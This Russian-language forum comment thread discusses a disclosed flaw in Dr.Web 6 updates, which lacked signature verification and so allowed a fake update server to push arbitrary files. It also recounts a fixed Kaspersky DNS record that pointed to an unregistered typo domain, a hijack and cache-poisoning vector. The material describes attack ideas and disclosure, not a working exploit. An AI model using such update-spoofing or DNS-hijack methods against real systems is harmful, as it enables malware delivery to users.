    Наааамного актуальнее, на мой взгляд, было бы провести такое исследование для новой версии. Тогда да, это было бы здорово, круто и полезно. А так — самореклама. И если есть желание не показать себя и дать дырку для создания пакостей простым пользователям, а помочь делу безопасности, писать надо в первую очередь не на хабр, а в компанию «Доктор Веб».

    Вот и вопрос — тест версии 9 будет?
    • +9
      Речь в дискуссии, которая побудила автора на исследование, шла о «сертифицированной» версии DoctorWeb для государственных организаций. Сертифицированный вариант, как я понял, существует только для 6 версии продукта. Из того же диалога можно понять, что апгрейд на более свежую версию для таких пользователей пока не предусмотрен.
    • +9
      А у корпоративной версии, которая «Enterprise Suite», она же «Dr.Web Desktop + Центр Управления», до сих пор последняя версия — 6.
      Скрытый текст

      Что-то я как-то раздумал продлять наши лицензии на следующие два года. А ведь собирался ещё 4 подразделения на тот же «Центр Управления» подключать.
    • +3
      Сертифицированные версии, которые все еще используются, как я понял, обновляются не через общедоступные сети, так?
      Судя по комментарию pansa:
      1) небольшое замечание по поводу статьи, всё-таки в тестировании учавствует скорее всего не сертифицированная версия, т.к. зона обновлений куда шел апдейтер — общепользовательская.
      можно сделать вывод, что сертифицированная версия использует другие сервера для обновлений, но обновляется точно так же, через инет. Возможно в некоторых организациях обновления действительно таскают флешками, но, скорее всего, даже там используют локальный сервер обновлений, чтобы не бегать с этой флешкой по сотням компов — так что и там можно устроить такую атаку в локалке.
  • +1
    Между тем, у статьи 148 плюсов и ни одного минуса. Давно такого не видел.
  • +2
    Когда был ребёнком и знал о компутерах, что там только игрушки, да вирусы интернетные, всегда думал, а почему нельзя сделать вид, что твой компьютер — сервер обновления антивируса, и загрузить под видом обновлений всё что угодно. И вот, спустя почти 10 лет, узнал, что это всё-таки возможно)
  • 0
    У вас в do_GET не хватает отступа:
           if 'timestamp' in self.path:
           self.send_response(200)
    
  • +12
    В апреле 2011 я находил потенциальную уязвимость у Касперского, которая заключалась в том, что на авторитативных DNS серверах в зоне geo.kaspersky.com была ошибка:
    $dig ns geo.kaspersky.com @ns1.kasperskylabs.net.
    ;; QUESTION SECTION:
    ;geo.kaspersky.com.             IN      NS
    ;; AUTHORITY SECTION:
    geo.kaspersky.com.      3600    IN      NS      geons6.kaspersky-labs.com.
    geo.kaspersky.com.      3600    IN      NS      geons3.kaspersky-labs.com.
    geo.kaspersky.com.      3600    IN      NS      geons4.kaspersky-labs.com.
    geo.kaspersky.com.      3600    IN      NS      geons2.kaspersky-labs.com.
    geo.kaspersky.com.      3600    IN      NS      geons1.kaspersky-labs.com.
    geo.kaspersky.com.      3600    IN      NS      geons5.kaspersky-kabs.com.
    

    Обратите внимание на последнюю запись. Домен kaspersky-kabs.com был свободен для регистрации. Его можно было зарегистрировать и поднять DNS сервер с именем geons5.kaspersky-kabs.com.
    Все авторитативные DNS сервера домена geo.kaspersky-labs.com находились за пределами РФ. Если фэйковый DNS сервер был бы размещен в РФ, поближе по сетевой задержке к кеширующим серверам основных ISP, то, довольно быстро, большая часть клиентов запрашивала бы информацию именно на нем.

    Написал им — откликнулись очень быстро, чуть больше часа и оперативно исправили.
    К чему я это пишу? Наверное к тому, что нет идеальных поставщиков ПО, которые не допускают совсем никаких ошибок.
    Более чем уверен, что если бы того копнул их поглубже — нашел бы еще что-нибудь. Но не стал этого делать, так как времени тогда (да и сейчас) на это было не найти, а они в свою очередь позабавили тем, что прислали в качестве благодарности футболку, стилизованную под Че Гевару, но с Евгением Касперским в главной роли =)
  • +4
    По мотивам той, старой ошибки в DNS у Касперского:
    1) Домен kaspersky.com делегирован на авторитативных DNS серверах так и самой Лаборатории Касперского, так и на авторитативных DNS серверах ЗАО «Макомнет». Другими словами, чтобы глобально навредить Касперскому необходимо и достаточно скомпрометировать стороннюю вообщем то организацию. Вроде бы мелочь и даже не ошибка в чистом виде, но выглядит на мой взгляд странно, так как в явном виде оставлен вектор атаки, который можно было закрыть;
    2) Домен geo.kaspersky.com делегирован на авторитативных DNS серверах, физически расположенных исключительно за пределами РФ с круговой сетевой задержкой из Москвы от 60 до 140+ миллисекунд. Вроде бы тоже не страшно, но «долго» отвечающие авторитативные DNS сервера повышают вероятность удачной DNS Cache Poisoning атаки против кеширующих DNS серверов российских ISP.

    Перечисленное не является ошибками в явном виде, они в некотором виде спорные, больше похожи на паранойю. Но Лаборатория Каперского работает на поле информационной безопасности и учитывая это, мне все же кажется что это ляпы, которых быть не должно. Особенно первый пункт.
  • 0
    А все же интересно было бы почитать официальный комментарий о том, как такую банальную ошибку вообще могли допустить. Я просто не представляю, почему никто из десятка или более человек, участвующих в разработке, реализации и тестировании механизма обновлений, в один прекрасный момент не воскликнул «блин, ребята, мы забыли про верификацию!»
  • 0
    Мы в своей программе подписали файл аналог drweb32.lst.lzma и принимаем его для обработки только в случае истинности его подписи. Все дальнейшие передачи файлов идёт по http и после распаковки проверяется их хеш на соответствие с подписанным файлом описания, если всё в порядке, то они принимаются для обновления.
  • +3
    Выпущено обновление для версии 6.0 — добавлена проверка подписи файлов.
    • 0
      Хвала богу машин.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.